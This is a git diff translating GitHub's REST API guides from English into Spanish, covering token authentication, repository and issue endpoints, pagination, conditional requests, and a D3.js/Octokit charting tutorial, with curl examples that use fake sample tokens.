-Use a `-u` flag to set your username:
+Utiliza el marcador `-u` para configurar tu nombre de usuario:
 
 ```shell
 $ curl -i -u <em>your_username</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When prompted, you can enter your OAuth token, but we recommend you set up a variable for it:
+Cuando se te solicite, puedes ingresar tu token de OAuth, pero te recomendamos que configures una variable para éste:
 
-You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided.
+Puedes utilizar `-u "your_username:$token"` y configurar una variable para `token` y así evitar que tu token se quede en el historial del shell, lo cual debes evitar.
 
 ```shell
 $ curl -i -u <em>your_username:$token</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API.
+Cuando te autentiques, debes ver como tu límite de tasa sube hasta 5,000 solicitudes por hora, como se indicó en el encabezado `X-RateLimit-Limit`. Adicionalmente a proporcionar más llamadas por hora, la autenticación te permite leer y escribir información privada utilizando la API.
 
-You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]:
+Puedes [crear un**token de acceso personal**][personal token] fácilmente utilizando tu [página de configuración para tokens de acceso personal][tokens settings]:
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
 {% warning %}
 
-To help keep your information secure, we highly recommend setting an expiration for your personal access tokens.
+Para mantener tu información segura, te recomendamos ampliamente que configures un vencimiento para tus tokens de acceso personal.
 
 {% endwarning %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-![Personal Token selection](/assets/images/personal_token.png)
+![Selección de token personal](/assets/images/personal_token.png)
 {% endif %}
 
 {% ifversion ghae %}
-![Personal Token selection](/assets/images/help/personal_token_ghae.png)
+![Selección de token personal](/assets/images/help/personal_token_ghae.png)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
-API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date.
+Las solicitudes de la API que utilicen un token de acceso personal con vencimiento devolverán la fecha de vencimiento de dicho token a través del encabezado de `GitHub-Authentication-Token-Expiration`. Puedes utilizar el encabezado en tus scripts para proporcionar un mensaje de advertencia cuando el token esté próximo a vencer.
 {% endif %}
 
-### Get your own user profile
+### Obtén tu propio perfil de usuario
 
-When properly authenticated, you can take advantage of the permissions
-associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting
-[your own user profile][auth user api]:
+Cuando te autenticas adecuadamente, puedes beneficiarte de los permisos asociados con tu cuenta en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Por ejemplo, intenta obtener
 
 ```shell
 $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.product.api_url_pre %}/user
@@ -189,89 +173,72 @@ $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.produc
 > }
 ```
 
-This time, in addition to the same set of public information we
-retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account.
+Esta vez, adicionalmente al mismo conjunto de información pública que recuperamos para [@defunkt][defunkt github] anteriormente, también deberías ver la información diferente a la pública para tu perfil de usuario. Por ejemplo, verás un objeto de `plan` en la respuesta, el cual otorga detalles sobre el plan de {% data variables.product.product_name %} que tiene la cuenta.
 
-### Using OAuth tokens for apps
+### Utiilzar tokens de OAuth para las apps
 
-Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth].
+Las apps que necesitan leer o escribir información privada utilizando la API en nombre de otro usuario deben utilizar [OAuth][oauth].
 
-OAuth uses _tokens_. Tokens provide two big features:
+OAuth utiliza _tokens_. Los Tokens proporcionan dos características grandes:
 
-* **Revokable access**: users can revoke authorization to third party apps at any time
-* **Limited access**: users can review the specific access that a token
-  will provide before authorizing a third party app
+* **Acceso revocable**: los usuarios pueden revocar la autorización a las apps de terceros en cualquier momento
+* **Acceso limitado**: los usuarios pueden revisar el acceso específico que proporcionará un token antes de autorizar una app de terceros
 
-Tokens should be created via a [web flow][webflow]. An application
-sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog
-indicating the name of the app, as well as the level of access the app
-has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %}
-redirects the user back to the application:
+Los tokens deben crearse mediante un [flujo web][webflow]. Una aplicación envía a los usuarios a {% data variables.product.product_name %} para que inicien sesión. Entonces, {% data variables.product.product_name %} presenta un diálogo que indica el nombre de la app así como el nivel de acceso que ésta tiene una vez que el usuario la autorice. Después de que un usuario autoriza el acceso, {% data variables.product.product_name %} lo redirecciona de vuelta a la aplicación:
 
-![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png)
+![Diálogo de OAuth de GitHub](/assets/images/oauth_prompt.png)
 
-**Treat OAuth tokens like passwords!** Don't share them with other users or store
-them in insecure places. The tokens in these examples are fake and the names have
-been changed to protect the innocent.
+**¡Trata a los tokens de OAuth como si fueran contraseñas!** No los compartas con otros usuarios ni los almacenes en lugares inseguros. Los tokens en estos ejemplos son falsos y los nombres se cambiaron para proteger a los inocentes.
 
-Now that we've got the hang of making authenticated calls, let's move along to
-the [Repositories API][repos-api].
+Ahora que ya entendimos cómo hacer llamadas autenticadas, vamos a pasar a la [API de repositorios][repos-api].
 
-## Repositories
+## Repositorios
 
-Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository
-information. We can [`GET` repository details][get repo] in the same way we fetched user
-details earlier:
+Casi cualquier uso significativo de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} involucrará algún nivel de información de repositorio. Podemos hacer [`GET` para los detalles de un repositorio][get repo] de la misma forma que recuperamos los detalles del usuario anteriormente:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap
 ```
 
-In the same way, we can [view repositories for the authenticated user][user repos api]:
+De la misma forma, podemos [ver los repositorios del usuario autenticado][user repos api]:
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-Or, we can [list repositories for another user][other user repos api]:
+O podemos [listar los repositorios de otro usuario][other user repos api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos
 ```
 
-Or, we can [list repositories for an organization][org repos api]:
+O podemos [listar los repositorios de una organización][org repos api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos
 ```
 
-The information returned from these calls will depend on which scopes our token has when we authenticate:
+La información que se devuelve de estas llamadas dependerá de los alcances que tenga nuestrotoken cuando nos autenticamos:
 
 {%- ifversion fpt or ghec or ghes %}
-* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}.
+* Un token con [alcance][scopes] de `public_repo` devolverá una respuesta que incluye todos los repositorios públicos que podemos ver en {% data variables.product.product_location %}.
 {%- endif %}
-* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}.
+* Un token con [alcance][scopes] de `repo` devolverá una respuesta que incluirá a todos los repositorios {% ifversion fpt %}públicos o privados{% elsif ghec or ghes %} públicos, privados o internos{% elsif ghae %} privados o internos{% endif %} a los que se tiene acceso para ver en {% data variables.product.product_location %}.
 
-As the [docs][repos-api] indicate, these methods take a `type` parameter that
-can filter the repositories returned based on what type of access the user has
-for the repository. In this way, we can fetch only directly-owned repositories,
-organization repositories, or repositories the user collaborates on via a team.
+Como indican los [docs][repos-api], estos métodos toman un parámetro de `type` que puede filtrar los repositorios que se regresan con base en el tipo de acceso que el usuario tiene en ellos. De esta forma, podemos obtener los solo los repositorios que nos pertenezcan directamente, repositorios de organizacion o repositorios en los que el usuario colabore a través del equipo.
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner"
 ```
 
-In this example, we grab only those repositories that octocat owns, not the
-ones on which she collaborates. Note the quoted URL above. Depending on your
-shell setup, cURL sometimes requires a quoted URL or else it ignores the
-query string.
+En este ejemplo, tomamos únicamente los repositorios que pertenecen a octocat, no aquellos en los que ella colabora. Nota la URL que se cita arriba. Dependiendo de tu configuración de shell, cURL a veces requiere una URL citada, o de lo contrario ignora la secuencia de consulta.
 
-### Create a repository
+### Crear un repositorio
 
-Fetching information for existing repositories is a common use case, but the
-{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo],
-we need to `POST` some JSON containing the details and configuration options.
+Un caso de común de uso es retribuir información para repositorios existentes, pero la
+La API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} también es compatible con crear repositorios nuevos. Para [crear un repositorio][create repo],
+necesitamos hacer `POST` en algunos JSON que contengan los detalles y las opciones de configuración.
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
@@ -284,14 +251,11 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-In this minimal example, we create a new private repository for our blog (to be served
-on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates].
+En este ejemplo mínimo, creamos un repositorio privado nuevo para nuestro blog (que se servirá en [GitHub Pages][pages], probablemente). Aunque el blog {% ifversion not ghae %}será público{% else %}está disponible para todos los miembros de la empresa{% endif %}, hemos hecho el repositorio privado. En este paso, también lo inicializaremos con un README y con una [plantilla de.gitignored][gitignore templates] enriquecida con [nanoc][nanoc].
 
-The resulting repository will be found at `https://github.com/<your_username>/blog`.
-To create a repository under an organization for which you're
-an owner, just change the API method from `/user/repos` to `/orgs/<org_name>/repos`.
+El repositorio que se obtiene como resultado se puede encontrar en `https://github.com/<your_username>/blog`. Para crear un repositorio bajo una organización para la cual eres propietario, solo cambia el método de la API de `/user/repos` a `/orgs/<org_name>/repos`.
 
-Next, let's fetch our newly created repository:
+Posteriormente vamos a obtener nuestro repositorio recién creado:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
@@ -303,28 +267,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog
 > }
 ```
 
-Oh noes! Where did it go? Since we created the repository as _private_, we need
-to authenticate in order to see it. If you're a grizzled HTTP user, you might
-expect a `403` instead. Since we don't want to leak information about private
-repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can
-neither confirm nor deny the existence of this repository."
+¡Oh no! ¿A dónde se fue? Ya que creamos el repositorio como _privado_, necesitamos autenticarnos para poder verlo. Si eres un usuario experimentado en HTTP, tal vez esperes recibir un código `403` en vez de ésto. Ya que no queremos filtrar información sobre los repositorios privados, la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} devolverá un `404` en este caso para decir "no podemos confirmar ni negar la existencia de este repositorio".
 
-## Issues
+## Problemas
 
-The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while
-staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull
-data out or create issues from other tools to create a workflow that works for
-your team.
+La IU de informe de problemas en {% data variables.product.product_name %} pretende proporcionar suficiente flujo de trabajo mientras evita estorbarte. Con la [API de propuestas][issues-api] de {% data variables.product.product_name %}, puedes extraer datos para crear propuestas desde otras herramientas para crear flujos de trabajo que funcionen para tu equipo.
 
-Just like github.com, the API provides a few methods to view issues for the
-authenticated user. To [see all your issues][get issues api], call `GET /issues`:
+Tal como en github.com, la API proporciona algunos cuantos métodos para ver los informes de problemas para el usuario autenticado. Para [ver todas tus propuestas][get issues api], llama a `GET /issues`:
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/issues
 ```
 
-To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET
+Para obtener únicamente las [propuestas bajo alguna de tus organizaciones de {% data variables.product.product_name %}][get issues api], llama a `GET
 /orgs/<org>/issues`:
 
 ```shell
@@ -332,17 +288,15 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghe
     {% data variables.product.api_url_pre %}/orgs/rails/issues
 ```
 
-We can also get [all the issues under a single repository][repo issues api]:
+También podemos obtener [todas las propuestas que estén bajo un solo repositorio][repo issues api]:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 ```
 
-### Pagination
+### Paginación
 
-A project the size of Rails has thousands of issues. We'll need to [paginate][pagination],
-making multiple API calls to get the data. Let's repeat that last call, this
-time taking note of the response headers:
+Un proyecto con el tamaño de Rails tiene miles de informes de problemas. Necesitaremos [paginar][pagination], haciendo varias llamadas a la API para obtener los datos. Vamos a repetir la última llamada, esta vez tomando nota de los encabezados de respuesta:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
@@ -354,20 +308,13 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues
 > ...
 ```
 
-The [`Link` header][link-header] provides a way for a response to link to
-external resources, in this case additional pages of data. Since our call found
-more than thirty issues (the default page size), the API tells us where we can
-find the next page and the last page of results.
+El [encabezado de `Link`][link-header] proporciona una respuesta para enlazar a los recursos externos, en este caso, a las páginas de datos adicionales. Ya que nuestra llamada encontró más de treinta informes de problemas (el tamaño predeterminado de página), la API no s dice dónde podemos encontrar la siguiente página y la última página de los resultados.
 
-### Creating an issue
+### Crear una propuesta
 
-Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from
-the API.
+Ahora que hemos visto cómo paginar las listas de propuestas, vamos a [crear una propuesta][create issue] desde la API.
 
-To create an issue, we need to be authenticated, so we'll pass an
-OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON
-body to the `/issues` path underneath the repository in which we want to create
-the issue:
+Para crear un informe de problemas, necesitamos estar autenticados, así que pasaremos un token de OAuth en el encabezado. También, pasaremos el título, cuerpo, y etiquetas en el cuerpo de JSON a la ruta `/issues` debajo del repositorio en el cual queremos crear el informe de problemas:
 
 ```shell
 $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \
@@ -419,14 +366,11 @@ $    {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues
 > }
 ```
 
-The response gives us a couple of pointers to the newly created issue, both in
-the `Location` response header and the `url` field of the JSON response.
+La respuesta nos entrega un par de sugerencias para el informe de problemas recién creado, tanto en el encabezado de respuesta de `Location` como en el campo de `url` de la respuesta de JSON.
 
-## Conditional requests
+## Solicitudes condicionales
 
-A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional
-requests][conditional-requests] and helps you do the right thing. Consider the
-first call we made to get defunkt's profile:
+Una gran parte de ser un buen ciudadano de la API es respetar los límites de tasa al almacenar información en el caché, la cual no haya cambiado. La API es compatible con las [solicitudes condicionales][conditional-requests] y te ayuda a hacer lo correcto. Considera el primer llamado que hicimos para obtener el perfil de defunkt:
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
@@ -435,10 +379,7 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt
 > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"
 ```
 
-In addition to the JSON body, take note of the HTTP status code of `200` and
-the `ETag` header.
-The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls,
-we can tell the API to give us the resource again, only if it has changed:
+Además del cuerpo de JSON, toma nota del código de estado HTTP de `200` y del encabezado `ETag`. La [ETag][etag] es una huella digital de la respuesta. Si la pasamos en llamadas subsecuentes, podemos decirle a la API que nos entregue el recurso nuevamente, únicamente si cambió:
 
 ```shell
 $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \
@@ -447,25 +388,24 @@ $    {% data variables.product.api_url_pre %}/users/defunkt
 > HTTP/2 304
 ```
 
-The `304` status indicates that the resource hasn't changed since the last time
-we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting].
+El estado `304` indica que el recurso no ha cambiado desde la última vez que lo solicitamos y que la respuesta no contendrá ningún cuerpo. Como bonificación, las respuestas `304` no contarán para tu [límite de tasa][rate-limiting].
 
-Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API!
+¡Qué! ¡Ahora conoces lo básico de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}!
 
-* Basic & OAuth authentication
-* Fetching and creating repositories and issues
-* Conditional requests
+* Autenticación básica & de OAuth
+* Obtener y crear repositorios e informes de problemas
+* Solicitudes condicionales
 
-Keep learning with the next API guide [Basics of Authentication][auth guide]!
+Sigue aprendiendo con la siguiente guía de la API ¡[Fundamentos de la Autenticación][auth guide]!
 
 [wrappers]: /libraries/
 [curl]: http://curl.haxx.se/
 [media types]: /rest/overview/media-types
 [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/
 [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
-[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
 [repos-api]: /rest/reference/repos
+[repos-api]: /rest/reference/repos
 [pages]: http://pages.github.com
 [nanoc]: http://nanoc.ws/
 [gitignore templates]: https://github.com/github/gitignore
@@ -473,14 +413,13 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [link-header]: https://www.w3.org/wiki/LinkHeader
 [conditional-requests]: /rest#conditional-requests
 [rate-limiting]: /rest#rate-limiting
+[rate-limiting]: /rest#rate-limiting
 [users api]: /rest/reference/users#get-a-user
-[auth user api]: /rest/reference/users#get-the-authenticated-user
+[defunkt github]: https://github.com/defunkt
 [defunkt github]: https://github.com/defunkt
 [json]: http://en.wikipedia.org/wiki/JSON
 [authentication]: /rest#authentication
-[2fa]: /articles/about-two-factor-authentication
-[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication
-[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth
+[personal token]: /articles/creating-an-access-token-for-command-line-use
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [tokens settings]: https://github.com/settings/tokens
 [pagination]: /rest#pagination
@@ -492,6 +431,6 @@ Keep learning with the next API guide [Basics of Authentication][auth guide]!
 [other user repos api]: /rest/reference/repos#list-repositories-for-a-user
 [org repos api]: /rest/reference/repos#list-organization-repositories
 [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
+[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user
 [repo issues api]: /rest/reference/issues#list-repository-issues
 [etag]: http://en.wikipedia.org/wiki/HTTP_ETag
-[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication
diff --git a/translations/es-ES/content/rest/guides/index.md b/translations/es-ES/content/rest/guides/index.md
index 1715450046..0551b82b19 100644
--- a/translations/es-ES/content/rest/guides/index.md
+++ b/translations/es-ES/content/rest/guides/index.md
@@ -1,8 +1,8 @@
 ---
-title: Guides
-intro: 'Learn about getting started with the REST API, authentication, and how to use the REST API for a variety of tasks.'
+title: Guías
+intro: 'Aprende como empezar con la API de REST, cómo funciona la autenticación, o cómo utilizar la API de REST para tareas diveras.'
 redirect_from:
-  - /guides/
+  - /guides
   - /v3/guides
 versions:
   fpt: '*'
@@ -24,10 +24,5 @@ children:
   - /getting-started-with-the-git-database-api
   - /getting-started-with-the-checks-api
 ---
-This section of the documentation is intended to get you up-and-running with
-real-world {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API applications. We'll cover everything you need to know, from
-authentication, to manipulating results, to combining results with other apps.
-Every tutorial here will have a project, and every project will be
-stored and documented in our public
-[platform-samples](https://github.com/github/platform-samples) repository.
-![The Electrocat](/assets/images/electrocat.png)
+
+Se pretende que esta sección de la documentación te inicie con las aplicaciones reales de la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. Abordaremos todo lo que necesitas saber, desde la autenticación, hasta manipular los resultados, e incluso hasta combiar los resultados con otras apps. Cada tutorial en esta sección tendrá un proyecto, y cada proyecto se almacenará y documentará en nuestro repositorio público de [platform-samples](https://github.com/github/platform-samples). ![El Electrocat](/assets/images/electrocat.png)
diff --git a/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md b/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md
index 97140abdca..589371ce12 100644
--- a/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md
+++ b/translations/es-ES/content/rest/guides/rendering-data-as-graphs.md
@@ -1,8 +1,8 @@
 ---
-title: Rendering data as graphs
-intro: Learn how to visualize the programming languages from your repository using the D3.js library and Ruby Octokit.
+title: Representar los datos en gráficas
+intro: Aprende a visualizar los lenguajes de programación de tu repositorio utilizando la biblioteca D3.js y el Octokit de Ruby.
 redirect_from:
-  - /guides/rendering-data-as-graphs/
+  - /guides/rendering-data-as-graphs
   - /v3/guides/rendering-data-as-graphs
 versions:
   fpt: '*'
@@ -15,21 +15,15 @@ topics:
  
 
 
-In this guide, we're going to use the API to fetch information about repositories
-that we own, and the programming languages that make them up. Then, we'll
-visualize that information in a couple of different ways using the [D3.js][D3.js] library. To
-interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using the excellent Ruby library, [Octokit][Octokit].
+En esta guía vamos a utilizar la API para obtener información acerca de los repositorios que nos pertenecen y de los lenguajes de programación que los componen. Luego, vamos a visualizar la información en un par de formas diferentes utilizando la librería [D3.js][D3.js]. Para interactuar con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, utilizaremos la excelente librería de Ruby: [Octokit][Octokit].
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication]
-guide before starting this example. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+Si aún no lo has hecho, deberías leer la guía de ["Fundamentos de la Autenticación"][basics-of-authentication] antes de comenzar con este ejemplo. Puedes encontrar el código fuente completo para este proyecto en el repositorio [platform-samples][platform samples].
 
-Let's jump right in!
+¡Comencemos de inmediato!
 
-## Setting up an OAuth application
+## Configurar una aplicación de OAuth
 
-First, [register a new application][new oauth application] on {% data variables.product.product_name %}. Set the main and callback
-URLs to `http://localhost:4567/`. As [before][basics-of-authentication], we're going to handle authentication for the API by
-implementing a Rack middleware using [sinatra-auth-github][sinatra auth github]:
+Primero, [registra una aplicación nueva][new oauth application] en {% data variables.product.product_name %}. Configura la URL principal y la de rellamado como `http://localhost:4567/`. Tal como lo hemos hecho [antes][basics-of-authentication], vamos a gestionar la autenticación para la API implementando un recurso intermedio de Rack utilizando [sinatra-auth-github][sinatra auth github]:
 
 ``` ruby
 require 'sinatra/auth/github'
@@ -68,7 +62,7 @@ module Example
 end
 ```
 
-Set up a similar _config.ru_ file as in the previous example:
+Configura un archivo similar de _config.ru_ como en el ejemplo previo:
 
 ``` ruby
 ENV['RACK_ENV'] ||= 'development'
@@ -80,15 +74,11 @@ require File.expand_path(File.join(File.dirname(__FILE__), 'server'))
 run Example::MyGraphApp
 ```
 
-## Fetching repository information
+## Obtener la información del repositorio
 
-This time, in order to talk to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we're going to use the [Octokit
-Ruby library][Octokit]. This is much easier than directly making a bunch of
-REST calls. Plus, Octokit was developed by a GitHubber, and is actively maintained,
-so you know it'll work.
+Esta vez, para poder hablar con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, vamos a utilizar la [Librería Octokit de Ruby][Octokit]. Esto es mucho más fácil que hacer un montón de llamadas de REST directamente. Además, un Githubber desarrolló Octokit, y se mantiene activamente, así que sabes que funcionará.
 
-Authentication with the API via Octokit is easy. Just pass your login
-and token to the `Octokit::Client` constructor:
+Autenticarse con la API a través de Octokit es fácil. Solo pasa tu información de inicio de sesión y tu token en el constructor `Octokit::Client`:
 
 ``` ruby
 if !authenticated?
@@ -98,17 +88,13 @@ else
 end
 ```
 
-Let's do something interesting with the data about our repositories. We're going
-to see the different programming languages they use, and count which ones are used
-most often. To do that, we'll first need a list of our repositories from the API.
-With Octokit, that looks like this:
+Vamos a hacer algo interesante con los datos acerca de nuestros repositorios. Vamos a ver los diferentes lenguajes de programación que utilizan y a contar cuáles se utilizan más a menudo. Para hacerlo, primero necesitamos tomar una lista de nuestros repositorios desde la API. Con Octokit, esto se ve así:
 
 ``` ruby
 repos = client.repositories
 ```
 
-Next, we'll iterate over each repository, and count the language that {% data variables.product.product_name %}
-associates with it:
+Después, vamos a iterar sobre cada repositorio y a contar los lenguajes con los que {% data variables.product.product_name %} los asocia:
 
 ``` ruby
 language_obj = {}
@@ -126,25 +112,19 @@ end
 languages.to_s
 ```
 
-When you restart your server, your web page should display something
-that looks like this:
+Cuando reinicias tu servidor, tu página web debe mostrar más o menos esto:
 
 ``` ruby
 {"JavaScript"=>13, "PHP"=>1, "Perl"=>1, "CoffeeScript"=>2, "Python"=>1, "Java"=>3, "Ruby"=>3, "Go"=>1, "C++"=>1}
 ```
 
-So far, so good, but not very human-friendly. A visualization
-would be great in helping us understand how these language counts are distributed. Let's feed
-our counts into D3 to get a neat bar graph representing the popularity of the languages we use.
+Hasta ahora vamos bien, pero no se ve muy amigable para un humano. Sería genial poder tener algún tipo de visualización para entender cómo se distribuye este conteo de lenguajes. Vamos a alimentar a D3 con nuestros conteos para obtener una gráfica de barras clara que represente la popularidad de los lenguajes que utilizamos.
 
-## Visualizing language counts
+## Visualizar los conteos de los lenguajes
 
-D3.js, or just D3, is a comprehensive library for creating many kinds of charts, graphs, and interactive visualizations.
-Using D3 in detail is beyond the scope of this guide, but for a good introductory article,
-check out ["D3 for Mortals"][D3 mortals].
+D3.js, o simplemente D3, es una biblioteca completa para crear muchos tipos de gráficos, tablas, y visualizaciones interactivas. El utilizarlo a detalle va más allá del alcance de esta guía, pero para ver un buen artículo introductorio al respecto, revisa ["D3 para mortales"][D3 mortals].
 
-D3 is a JavaScript library, and likes working with data as arrays. So, let's convert our Ruby hash into
-a JSON array for use by JavaScript in the browser.
+D3 es una biblioteca de JavaScript a la que le gusta trabajar con matrices de datos. Así que, vamos a convertir a nuestro hash de Ruby en una matriz de JSON para que JavaScript la utilice en el buscador.
 
 ``` ruby
 languages = []
@@ -155,13 +135,9 @@ end
 erb :lang_freq, :locals => { :languages => languages.to_json}
 ```
 
-We're simply iterating over each key-value pair in our object and pushing them into
-a new array. The reason we didn't do this earlier is because we didn't want to iterate
-over our `language_obj` object while we were creating it.
+Simplemente estamos iterando sobre cada par de clave-valor en nuestro objeto y lo estamos cargando en una matriz nueva. La razón por la cual no lo hicimos antes es porque no queríamos iterar sobre nuestro objeto de `language_obj` mientras lo estábamos creando.
 
-Now, _lang_freq.erb_ is going to need some JavaScript to support rendering a bar graph.
-For now, you can just use the code provided here, and refer to the resources linked above
-if you want to learn more about how D3 works:
+Ahora, _lang_freq.erb_ va a necesitar algo de JavaScript para apoyar a que se interprete una gráfica de barras. Por ahora, puedes simplemente utilizar el código que se te proporciona aquí y referirte a los recursos cuyo enlace se señala anteriormente si quieres aprender más sobre cómo funciona D3:
 
 ``` html
 <!DOCTYPE html>
@@ -242,26 +218,15 @@ if you want to learn more about how D3 works:
 </html>
 ```
 
-Phew! Again, don't worry about what most of this code is doing. The relevant part
-here is a line way at the top--`var data = <%= languages %>;`--which indicates
-that we're passing our previously created `languages` array into ERB for manipulation.
+¡Uf! Nuevamente, no te preocupes de la mayoría de lo que está haciendo este código. La parte relevante es lo que está hasta arriba--`var data = <%= languages %>;`--lo cual indica que estamos pasando nuestra matriz previamente creada de `languages` en el ERB para su manipulación.
 
-As the "D3 for Mortals" guide suggests, this isn't necessarily the best use of
-D3. But it does serve to illustrate how you can use the library, along with Octokit,
-to make some really amazing things.
